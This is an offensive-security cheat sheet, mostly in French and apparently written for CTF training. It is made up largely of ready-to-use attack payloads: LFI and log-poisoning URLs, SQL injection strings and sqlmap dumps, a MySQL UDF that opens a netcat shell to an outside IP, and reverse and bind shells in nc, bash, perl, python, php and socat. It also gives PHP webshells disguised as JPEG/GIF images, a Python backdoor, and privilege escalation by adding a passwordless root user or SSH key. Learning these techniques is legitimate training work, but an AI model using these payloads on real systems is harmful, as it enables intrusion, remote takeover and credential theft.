http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php
Il ne reste plus qu'à décoder pour obtenir le code source du fichier php.
Le langage php permet de traiter le contenu de la requête HTTP comme un fichier. Il est ainsi possible de lire et faire executer le contenu brut des données en POST avec php://input.
curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input
Ne fonctionne que si l'option allow_url_include = On est active dans la config php. Cette est désactivée par défaut.
Pour injecter une payload Php dans le fichier de logs d'un serveur web, il suffit de faire une requête de type HTTP GET contenant du code php dans l'url.
Pour un serveur ftp ou ssh, injecter la payload dans le login.
Nous utilisons ensuite une LFI sur le fichier de log pour déclencher l'execution de la payload.
Fichiers de logs usuels:
Apache
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/httpd/error_log
Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
Ssh
/var/log/sshd.log
Il est possible de vérifier l'emplacement des fichiers de logs en lisant les fichiers de config.
Fichier de config de Nginx: /etc/nginx/nginx.conf
Entrée du fichier de config : access_log /spool/logs/nginx-access.log
Injecter des commandes SQL dans les paramêtres pour réécrire la requête.
SELECT * FROM user WHERE login='[USER]' and password='[PASSWORD]';
Méthode : fermer la ', élargir la requête avec OR 1=1, ajouter des valeurs avec UNION, commenter la fin de la requête avec # ou -- -
Valeur des paramètres envoyés :
USER=admin' OR 1=1 -- -
PASSWORD=ferrari
Requète SQL obtenue:
SELECT * FROM user WHERE login='admin' OR 1=1 -- - and password='ferrari';
Envoyer les aparmètres avec Curl:
curl http://target/login.pgp?login=admin' OR 1=1 -- -&password=ferrari
Connect to a remote mysql database:
mysql -u admin --host=10.10.12.10 : without password
mysql -u admin --host=10.10.12.10 -padmin : with password
Usefull commands:
SELECT @@version;
SELECT user();
SHOW Databases;
USE database;
SHOW tables;
SELECT * from table;
Vous êtes devant une page web contenant un formulaire de login/register/search,...
Saisissez des fermetures de string ' ou " pour générer une erreur.
Injecter un sleep et remarquer un retard de la réponse.
admin' and sleep(5) and '1'='1
admin" and sleep(5) and "1"="1
Un polyglot est une séquence capable de s'adapter à de nombreux scénario
/*$(sleep 5)`sleep 5``*/sleep(5)#'/*$(sleep 5)`sleep 5` #*/||sleep(5)||'"||sleep(5)||"`
Généralement les développeurs prennent la première entrée. Mais parfois ils vérifient qu'il n'y en a bien qu'une seule.
admin' or 1=1 LIMIT 1 -- -
Les développeurs filtrent parfois de caractères ou des mot:
Space => Tab %09, Newline %A0, /**/
AND => && %26%26
OR => ||
Quand la requête sert à afficher des entrées (ex: liste d'objets), on peut ajouter des valeurs avec un UNION.
Il faut commencer par identifier le nombre d'entrées qu'attend le select
SELECT id, name, desc, price FROM stock WHERE name=[NAME]
Methode 1: ORDER BY
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 1-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 3-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 4-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 5-- - : Erreur
=> 4 entrées
Methode 2: SELECT
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3,4 : Ok
=> 4 entrées
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,table_name,table_name FROM information_schema.tables; -- -
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,column_name,column_name FROM information_schema.columns WHERE table_name='users'; -- -
UNION SELECT concat(name,':',pass),1 FROM users; -- -
SQLi sur les paramètres d'un GET
$ sqlmap -u 'http://10.10.10.129/sqli/example1.php?name=root' --dbs --banner
SQLi sur les paramètres d'un POST.
Intercepter la requète avec Burp, et la sauver dans un fichier login.txt
$ sqlmap -r login.txt --dbs --banner
-p name : forcer le paramètre à tester
Lister les tables, puis dumper une table
$ sqlmap -r login.txt -D jetadmin --tables
$ sqlmap -r login.txt -D jetadmin -T users --dump
Compiler une librairie UDF contenant le fonction sys_exec()
L'uploader sur le serveur. La déclarer. La fonction sys_exec() permet de lancer des commandes.
# Tested with : mysql 5.5.60-0+deb8u1
# Create a 'User Defined Function' calling C function 'system'
# Use pre-compiled 32 or 64 depending on target.
# Copy file to /tmp
create database exploittest;
use exploittest;
create table bob(line blob);
insert into bob values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from bob into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so
create function sys_exec returns int soname 'lib_mysqludf_sys.so';
select sys_exec('nc 11.0.0.21 4444 -e /bin/bash');
select sys_exec('/bin/sh');
after bash access, 'bash –p' or 'sudo su'
Vous avez trouvé une requête web qui permet d'executer des commandes sur le serveur, ou vous avez reussi à trouver comment uploader un fichier qui peut être exécuté.
Votre objectif maintenant est d'obtenir un shell sur la machine, ce qui permettra une exploitation confortable.
Vous allez utiliser les outils installés sur le serveur (netcat, bash, php, python, perl, ...) pour ouvrir un shell sur le serveur et le connecter à votre shell.
Netcat, est le couteau suisse des connections entre serveurs.
Il peut se mettre en écoute, se connecter et lancer des shells.
Les anciennes versions possédaient l'option -e ou -c qui permet de lancer un shell. Les version récentes ne possèdent plus cette option pour des raisons de sécurité
Sur Kali on trouve une version 1.10 en :
/usr/bin/nc -h
-e shell commands : program to execute
-c shell commands : program to execute
-l : listen mode
-v : verbose
-p port : local port number
Mettre un nc en écoute sur la kali
nc -lvp 4444
Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.
nc -e /bin/sh IPKALI 4444
Pour utiliser un reverse shell il faut connaitre l'IP publique de sa Kali.
Mettre un nc en écoute sur la kali
nc -lvp 4444
Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f
Le shell obtenu avec nc est basique. Ce n'est pas un tty.
Certaines commandes comme su vont refuser de fonctionner.
Pour upgrader notre shell, utiliser python pour avoir un shell de type tty:
python -c 'import pty; pty.spawn("/bin/bash")'
Le shell obtenu avec nc est basique. La completion avec le Tab, l'historique avec les flèches ne sont pas gérés.
Passer le nc en arrière plan avec:
Ctr-Z
Puis demander au shell actuel de passer les codes des touches brutes au shell distant, et repasser sur le netcat (foreground)
stty raw -echo
fg
Attention: Tenter cette manip dans un browser va juste freezer le shell. Le browser modifie lui aussi les codes des touches. Ca ne marche que dans une VM.
Tant que votre nc est connecté, vous bloquez un thread du serveur web. En fonction de la configuration du serveur, il peut avoir 6, 16, 32 threads... Dont autant de nc en parallèles avant saturation. Pour libérer le serveur pour les copains: Dans le nc connecté, choisissez un second port et lancez un second bindshell netcat en arrière plan:
binshell:
nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &
reverse shell:
nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &
La commande nohup va détacher le process nc du shell en cours. Faites un Ctrl-C pour couper la connection nc, la page avec votre webshell se libère. Un autre utilisateur peut se connecter. Lancer un nouveau nc pour vous connecter à ce nouveau bindshell.
Un bind shell est utile quand notre Kali est derrière un NAT. Ce shell est fragile, un scan de port va le déclencher et le fermer. Lance un shell, ouvre une socket TCP en écoute sur le port 4444, et donne accès au shell au premier qui se connecte.
nc -e /bin/sh -lvp 4444
Se connecte au netcat distant pour avoir accès au shell.
nc iptarget 4444
Launch a bind shel on the target host
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc -lp 4444 >/tmp/f
Then connect to it
nc victim 4444
Socat est un nc sous stéroides. Il permet une authentification, un chiffrement des communications et un forward de ports.
On le trouve rarement sur les serveurs, il faut l'uploader.
Mettre un socat en écoute
socat file:`tty`,raw,echo=0 TCP-L:4444
Lancer un reverse shell avec un socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444
Automatiser l'upload et le reverse shell:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
Pwncat est un nc sous stéroides.
https://github.com/cytopia/pwncat
Netcat et python ne sont pas installés sur le serveur. Il est toujours possible de lancer un reverse shell en bash.
Mettre un nc en écoute votre host:
nc -lvp 4444
Lancer le reverse shell à partir de votre cible:
bash -i >& /dev/tcp/IPKALI/4444 0>&1
Mettre un nc en écoute sur la kali
nc -lvp 4444
perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Mettre un nc en écoute sur la kali
nc -lvp 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'
Mettre un nc en écoute sur la kali
nc -lvp 4444
php -r '$sock=fsockopen("IPKALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
If you can upload a php file to the web server, the file below will allow you to run shell commands:
<?php echo 'Shell: ';system($_GET['cmd']); ?>
Run 'id' on the server
curl http://IPSERVER/cmd.php?cmd=id
Upload the file
<pre><?php echo 'Shell: ';system($_GET['cmd']); ?></pre>
Run 'id' on the server
curl http://IPSERVER/cmd.php?cmd=id
Parfois certain caractères comme les ; les & ou les | sont filtrés. Un encodage base64 permet de s'en sortir.
Dans un shell encoder en base64:
$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64
Code PHP du reverse shell
eval(base64_decode('c3lzdGVtKCJyEtxxxxxxxxxEkgNDQ0NCA+L3RtcC9mIik7='));
import sys,socket,time,re,subprocess,os
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0',4444))
sock.listen(5)
conn,addr = sock.accept()
conn.send('== YOLO Backdoor ==\n\n>')
while 1:
data = conn.recv(1024)
cmd = data.strip().split(' ')
if cmd[0] == 'cd':
os.chdir(cmd[1])
elif cmd[0] in ('exit'):
break
else:
conn.send(subprocess.check_output(cmd)+'\n>')
conn.close()
sock.shutdown(socket.SHUT_RDWR)
sock.close()
Si vous pouvez upload un fichier jpg, il est possible d'y cacher un webshell.
Un fichier jpeg est identifié par ses premiers octets qui ont la valeur : ffd8ffe0
Pour générer un fichier qui sera identifié comme ayant une entête Jpeg valide:
printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg
Ce fichier sera reconnu comme un fichier jpg
$ file webshell.jpg
webshell.jpg: JPEG image data
Un fichier gif est identifié par ses premiers octets qui ont la valeur : GIF89a;
Pour générer un fichier qui sera identifié comme ayant une entête gif valide:
printf "GIF89a;<?php system('id'); ?>" > webshell.gif
Ce fichier sera reconnu comme un fichier gif
$ file webshell.gif
webshell.gif: GIF image data
Un fichier image contient de nombreuses informations : date de prise de vue, localisation, type d'appareil photo...
Nous pouvons injecter du code php dans ces données.
exiftool -Comment='<?php system('id'); ?>' webshell.jpg
A lire pour en savoir plus:
Liste de webshells
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Webshell en pure php: php-reverse-shell.php
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Yop Webshell: yopwebshell.php
Yolo Webshell: yolowebshell.php
Dès l'instant ou vous arrivez à éxécuter des commandes sur votre cible, vous avez besoin de transférer des fichiers textes ou binaires.
Vous allez certainement downloader des fichiers pour les analyser, ou uploader des outils tel des backdoors ou des scripts d'élévation de privilèges.
Un encodage en base64 permet de faire des copier/coller de fichiers sans se soucier du binaire ou des retours à la ligne
cat file | base64
printf 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > file
Préparez la dernière commande dans votre terminal, elle peut être assez longue, puis copiez/collez là dans votre cible.
Pour transférer un fichier sans se soucier de sa taille, lancer un serveur HTTP et faire un wget, curl
python -m SimpleHTTPServer 8000
php -S 0.0.0.0:8000
Attention, ce nouveau serveur permet à tout le monde de lire l'intégralité de son système de fichier.
Si vous avez un accès ssh
scp file.txt remote_username@10.10.0.2:/remote/directory
scp -i id_rsa file.txt remote_username@10.10.0.2:/remote/directory
scp -P 2222 file.txt remote_username@10.10.0.2:/remote/directory
scp remote_username@10.10.0.2:/remote/file.txt /local/directory
Nous venons tout juste d'obtenir l'accès en shell à un serveur.
Nous allons commencer par faire un inventaire exhaustif de ce qui est accessible au compte sur lequel nous pouvons executer des commandes.
Sur ses premières machines, il est préférable de faire ces énumérations en lançant les commandes manuellement pour s'approprier les options et les outputs. Une fois à l'aise, et sachant ce que l'on chercher, il est possible d'utiliser des scripts qui font ces énumérations pour nous.
Rechercher les fichiers .txt ou .cfg, appartanant aux autres comptes, avec des droits en lecture trop ouverts.
find /home -readable -type f \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null
Le fichier de config d'une appli wordpress s'appelle:
wp-config.php
Pour le chercher:
find /var -name wp-config.php 2>/dev/null
Ce fichier contient les login/password pour se connecter à la base de donnée. Il est possible de dumper la base de donnée et récupérer les login et hashes des comptes wordpress.
Le fichier de config peut porter deux noms:
httpd.conf
apache2.conf
On le trouve généralement dans un des répertoires:
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
Le fichier de config porte le nom:
server.xml
Les mots de passe des utilisateurs se trouvent dans:
tomcat-users.xml
On trouve généralement ces fichiers dans un des répertoires:
TOMCAT-HOME/conf/
/usr/local/tomcat/conf/
Sudo permet de lancer des commandes en tant qu'un autre utilisateur.
Pour connaitre les droits sudo de votre compte, il faut lancer la commande sudo -l et saisir votre mot de passe:
sudo -l
L'utilisateur user1 peut utiliser les commandes suivantes sur target-host :
(ALL) NOPASSWD: /usr/bin/find
user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py
Il est alors possible de lancer des commandes en tant que user2 avec le flag -u user2
sudo /usr/bin/find
sudo -u user2 /usr/bin/python3 /home/user2/run.py
Vous pouvez lancer find avec les droits d'un compte root, et run.py avec les droits du compte user2.
Si l'option NOPASSWD n'est pas définie, la commande sudo demande le mot de passe du compte courant. Si vous être entré par un webshell, ou une connection ssh avec clef privée, il faudra se débrouiller pour connaitre le mot de passe.
Identifier les process possédant un setUID bit
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
Que faire avec un binaire possédant un setUID bit ?
- Lancer un shell
- Lire un flag
- Copier un fichier
- Ajouter une ligne à un fichier : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys
- ...
De nombreux process permettent de lancer un shell. Idéal s'ils sont en sudo ou avec un setUID bit.
- find
- nmap
- vi
- less
- awk
- tee
...
Reference: https://gtfobins.github.io/
Vous disposez des droits pour modifier /etc/passwd. Par exemple tee avec un sudo en root. Ajoutez une entrée avec un UID de 0, et un mot de passe vide.
echo myroot::0:0:::/bin/bash | sudo tee -a /etc/passwd
su myroot
Si une commande avec les droits root permet d'ajouter une ligne: ex: tee
echo 'ssh-rsa AAAAB3[...]CHN2CpQ== yolo@yolospacehacker.com' | sudo tee -a /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget
Identifier les process lancés par root
ps eaxf
Une fois un process identifé, regarder s'il est possible de modifier les fichiers lus par le process, ou si le process a des vulnérabilités connues.
Identifier les taches lancées par cron.
cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers
With the ps command, you may miss a small process, launched every 2 minutes, which will process a batch file in 5 seconds before disappearing. The pspy tool monitors the processes for you.
https://github.com/DominicBreuker/pspy
Linux Distib version:
cat /etc/issue
Ubuntu 18.04.3 LTS
Linux kernel version: 5.0.0-37-generic
uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Once the kernel version is known, it is possible to search for a kernel exploit
https://github.com/SecWiki/linux-kernel-exploits
Never run an unknown binary !
Get the sources, read them, understand what they do, compile yourself, and only then run them... Knowing that there is a high risk of crashing the server.
Some well known script automate the enumeration process.
Test them and find the one that suits you best.
linPeass : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
LinEnum.sh : https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker
unixprivesc.sh : https://github.com/pentestmonkey/unix-privesc-check
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration
L'Open Web Application Security Project (OWASP) est une communauté, fondée en 2001, qui produit et met gratuitement à disposition des articles, méthodologies, outils...
Elle publie tous les ans le Top 10 des failles de sécurités Web.
Elle publie l'OWASP Testing Guide : un guide des best practices depentesting.
Elle publie l'OWASP Development Guide: un guide visant à écrire du code sans failles de sécurité.
Site officiel: https://www.owasp.org
Mitre est l'organisation, financée par la Défense des Etats unis, qui a mis en place et maintient le référencement des CVE: Common Vulnerabilities and Exposures)
https://en.wikipedia.org/wiki/Mitre_Corporation
Une CVE, pour Common Vulnerabilities and Exposures, est une référence pour une faille de sécurité.
https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures
L'encodage base64 permet de transmettre des données en n'utilisant que des caractères affichables (lettres, chiffres, quelques signes...)
L'encodage URL/Pourcent permet d'utiliser des caractères spéciaux dans les urls tels que les apostrophes, les espaces...)
Quelques video interessantes. IP Une adresse IP c'est comme un numéro de téléphone.
Reconnaitre une adresse IP
Trouver l'IP de sa machine
Reconnaitre une adresse IP privée
Reconnaitre un masque de sous-réseau 255.255.255.0 ou /24
Connaitre le principe de résolution DNS
Configuration d'un DNS dans /etc/hosts, demander à un serveur, dns FAI, DNS Google 8.8.8.8, DNS libre ?
Reconnaitre une adresse MAC
DNS
PORTS
DHCP
MAC
STEGANOGRAPHIE
SQLi